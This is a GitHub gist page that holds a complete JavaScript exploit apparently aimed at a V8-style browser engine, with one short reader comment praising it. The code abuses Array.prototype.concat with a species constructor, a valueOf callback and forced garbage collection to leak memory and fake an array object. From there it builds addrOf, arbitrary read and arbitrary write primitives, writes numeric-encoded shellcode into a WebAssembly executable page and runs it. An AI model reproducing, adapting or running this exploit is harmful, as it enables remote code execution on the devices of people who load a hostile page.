Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.state = {};
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0]
}
ftoih(f) {
this.f64[0] = f;
return this.u32[1]
}
itof(i) {
this.u32[0] = i;
return this.f32[0];
}
f64toi64(f) {
this.f64[0] = f;
return this.u64[0];
}
i64tof64(i) {
this.u64[0] = i;
return this.f64[0];
}
printhex(val) {
console.log('0x' + val.toString(16));
}
add_ref(object) {
this.state[this.i++] = object;
}
}
function pwn() {
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var helper = new Helpers();
var buf = new ArrayBuffer(0x1000);
var dataview = new DataView(buf);
var corrupted_array;
function information_leak() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
// This is required to avoid an exception being thrown
// here:
lta.__defineSetter__('length', function() {})
// Create a Literal JSArray
var a = [
/* hole */
, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9 // HOLEY_DOUBLE_ELEMENTS
];
// We'll be using this in create_fake_object
var fake_object = new Float32Array(16);
// We'll be using this for our addrOf primitive
var addrof_array = [{}, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9];
/*
Set the `.constructor` property here instead of creating a class
so we can continue using Literal Double arrays
class MyArray extends Array {
static get [Symbol.species]() {
return function() {
return p;
}
};
}
*/
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() {
return lta;
}
});
a.constructor = C;
/*
Set the index on the Literal Array's prototype
to an object.
DONT USE THE ARRAY `a` ITSELF HERE OR IT WILL
be converted to HOLEY_ELEMENTS.
*/
Array.prototype[0] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000); // Trigger a mark-sweep GC
delete Array.prototype[0];
}
};
var c = Array.prototype.concat.call(a);
/*
prop map
0xe00 [ 42424242 41414141 ]
length elements
0xe08 [ 44444444 43434343 ]
*/
helper.state.map = helper.ftoil(lta[1]);
helper.state.properties = helper.ftoih(lta[1]);
helper.state.elements = helper.ftoil(lta[2]);
helper.state.length = helper.ftoih(lta[2]);
/*
Calculate offsets to the Float32Array
that will hold our fake JSArray
*/
helper.state.fake_object = fake_object;
helper.state.addrof_array = addrof_array;
helper.state.fake_object_address = helper.state.elements + 0xa0;
helper.state.fake_object_bytearray_address = helper.state.elements + 0x60;
helper.state.addrof_array_addr = helper.state.elements + 0xe4;
helper.add_ref(a);
}
function create_fake_object() {
class LeakTypedArray extends Float64Array {}
let lta = new LeakTypedArray(1024);
lta.__defineSetter__('length', function() {})
var a = [
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, /* hole */ , 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9,
1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, {} // HOLEY_ELEMENTS
];
/*
Create a a Float32Array that will store the pointer
of our Fake `JSArray` one index behind /\* hole *\/
after `a` is shortened by the `valueOf` callback
*/
var fake_jsarray_object_ptr = new Float32Array(16);
fake_jsarray_object_ptr[0] = helper.itof(helper.state.fake_object_bytearray_address);
const C = new Function();
C.__defineGetter__(Symbol.species, () => {
return function() {
return lta;
}
});
a.constructor = C;
/*
Fake JSArray
proto map
0xe00 [ 42424242 41414141 ]
length elements
0xe08 [ 44444444 43434343 ]
*/
helper.state.fake_object[0] = helper.itof(helper.state.map);
helper.state.fake_object[1] = helper.itof(helper.state.properties);
helper.state.fake_object[2] = helper.itof(helper.state.elements);
helper.state.fake_object[3] = helper.itof(helper.state.length);
Array.prototype[19] = {
valueOf: function() {
a.length = 1;
new ArrayBuffer(0x7fe00000);
Object.prototype.valueOf = function() {
corrupted_array = this; // grab our fake `JSArray`
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout'; // throw to escape Object::ToNumber
return 42;
}
delete Array.prototype[19];
return 1.1;
}
};
var c = Array.prototype.concat.call(a);
}
function addrOf(object) {
helper.state.fake_object[2] = helper.itof(helper.state.addrof_array_addr);
helper.state.addrof_array[0] = object;
return helper.ftoil(corrupted_array[0]);
}
function arbRead(where) {
helper.state.fake_object[2] = helper.itof(where);
return helper.f64toi64(corrupted_array[0]);
}
function arbWrite(where, what) {
helper.state.fake_object[2] = helper.itof(where);
corrupted_array[0] = helper.i64tof64(what);
}
information_leak();
try {
create_fake_object();
} catch (e) {}
var wasm_instance_ptr = addrOf(wasm_instance);
var RWX_PAGE = arbRead(wasm_instance_ptr + 0x60);
var buf_addr = addrOf(buf);
var backing_store = buf_addr + 0xc;
arbWrite(backing_store, RWX_PAGE);
var shellcode = [16889928, 16843009, 1213202689, 1652108984, 23227744, 70338561, 800606244, 796029813, 1349413218, 1760004424, 16855099, 19149953, 1208025345, 1397310648, 1497451600, 3526447165, 1510500946, 1390543176, 1222805832, 16843192, 16843009, 3091746817, 1617066286, 16867949, 604254536, 1966061640, 1647276659, 827354729, 141186806, 3858843742, 3867756630, 257440618, 2425393157];
for (var i = 0; i < shellcode.length; i++) {
dataview.setUint32(4 * i, shellcode[i], true);
}
f();
}
pwn();
@spotanjo3

This comment has been minimized.

Copy link

@spotanjo3 spotanjo3 commented Aug 17, 2021

Awesome discover. What FW is it for ? And good job!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment